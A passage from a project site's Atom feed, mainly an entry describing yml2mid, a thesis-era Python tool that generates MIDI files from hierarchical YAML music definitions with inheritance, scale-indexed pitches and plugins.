&lt;li&gt;Raymond (1999) - &lt;em&gt;The Cathedral and the Bazaar&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Nonaka &amp;amp; Toyama (2005) - Knowledge-creating firm theory&lt;&#x2F;li&gt;
&lt;li&gt;Buterin (2020) - Coordination, good and bad&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>yml2mid: YAML to MIDI Sequencer</title>
        <published>2019-11-01T00:00:00+00:00</published>
        <updated>2019-11-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/projects/yml2mid-thesis/"/>
        <id>https://lf3.gitlab.io/projects/yml2mid-thesis/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/projects/yml2mid-thesis/">&lt;h1 id=&quot;yml2mid-yaml-to-midi-sequencer&quot;&gt;yml2mid: YAML to MIDI Sequencer&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;yml2mid&quot;&gt;gitlab.com&#x2F;lf3&#x2F;yml2mid&lt;&#x2F;a&gt;&lt;br &#x2F;&gt;
&lt;strong&gt;Thesis&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lifofernandez&#x2F;UNQ-MyT-tesis&quot;&gt;UNQ Music Technology Bachelor’s Thesis (2019)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;A text-based MIDI sequencer that generates music from YAML files. Developed as part of a Bachelor’s thesis in Music Technology at Universidad Nacional de Quilmes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-it-does&quot;&gt;What it does&lt;&#x2F;h2&gt;
&lt;p&gt;Reads YAML definitions of musical structures and outputs standard MIDI files. The entire composition workflow happens in plain text, version-controlled, and processable by any text tool.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;YAML → PyYAML parser → Secuencia (logic) → MIDIUtil → MIDI file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;why-plain-text-for-music&quot;&gt;Why plain text for music&lt;&#x2F;h2&gt;
&lt;p&gt;Traditional music tools (DAWs, notation software) lock musical information into proprietary formats. They’re not version-controllable, difficult to automate, and couple representation to a specific application.&lt;&#x2F;p&gt;
&lt;p&gt;yml2mid treats musical information as plain text - portable, manipulable, and processable programmatically.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;language-structure&quot;&gt;Language structure&lt;&#x2F;h2&gt;
&lt;p&gt;Musical discourse organized as a tree:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pista&lt;&#x2F;strong&gt; (Track) - instrument part&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Sección&lt;&#x2F;strong&gt; (Section) - groups of units&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Segmento&lt;&#x2F;strong&gt; (Segment) - actual note data&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Articulación&lt;&#x2F;strong&gt; - individual notes&#x2F;events&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;property-inheritance&quot;&gt;Property inheritance&lt;&#x2F;h3&gt;
&lt;p&gt;Units inherit from parent units using YAML anchors:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;base: &amp;amp;base
  transportar: 60
  registro: [0, 2, 4, 5, 7, 9, 11, 12]

a: &amp;amp;a
  &amp;lt;&amp;lt;: *base
  alturas: [5, 5, 6, 5]
  duraciones: [.75, .25, 1, 1]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;registration-system&quot;&gt;Registration system&lt;&#x2F;h3&gt;
&lt;p&gt;Pitches are indices into a scale array, not absolute MIDI notes:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;registro: [0, 2, 4, 5, 7, 9, 11, 12]  # major scale intervals
alturas: [1, 3, 5, 8]                  # C, E, G, C&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Transposition works at two levels: &lt;code&gt;transportar&lt;&#x2F;code&gt; shifts MIDI note, &lt;code&gt;transponer&lt;&#x2F;code&gt; shifts index within scale.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;examples&quot;&gt;Examples&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Feliz Cumpleaños&lt;&#x2F;strong&gt; (single track):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Hierarchical form structure&lt;&#x2F;li&gt;
&lt;li&gt;Property inheritance across levels&lt;&#x2F;li&gt;
&lt;li&gt;Transposition within registration&lt;&#x2F;li&gt;
&lt;li&gt;Lyrics synchronized with notes&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Billie Jean&lt;&#x2F;strong&gt; (bass, drums, keys):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Multi-track MIDI output&lt;&#x2F;li&gt;
&lt;li&gt;Drum programming using fixed registration&lt;&#x2F;li&gt;
&lt;li&gt;Voice layering for chords&lt;&#x2F;li&gt;
&lt;li&gt;Different registration per track&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;plugin-system&quot;&gt;Plugin system&lt;&#x2F;h2&gt;
&lt;p&gt;User plugins enable algorithmic transformations:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;complementos: &amp;#x27;enchufes.py&amp;#x27;

unidades:
  a:
    alturas: [5, 5, 6, 5]
    fluctuar:           # calls fluctuar() in enchufes.py
      dinamicas: .5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Allows randomization, variation, generative patterns without modifying core system.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tech-stack&quot;&gt;Tech stack&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Python 3&lt;&#x2F;strong&gt; - implementation language&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PyYAML&lt;&#x2F;strong&gt; - YAML parsing&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;MIDIUtil&lt;&#x2F;strong&gt; - MIDI encoding&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Spanish vocabulary&lt;&#x2F;strong&gt; - domain-specific language terms&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;connection-to-other-work&quot;&gt;Connection to other work&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;UNIX Philosophy paper&lt;&#x2F;strong&gt;: Applies same plain-text, composable-process thinking&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;COP paper&lt;&#x2F;strong&gt;: Structured text as primary reasoning medium&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;article-boilerplate&lt;&#x2F;strong&gt;: Same documents-as-code philosophy&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;National Innovation Award&lt;&#x2F;strong&gt;: MIDI controller builds on this thesis work&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
</feed>
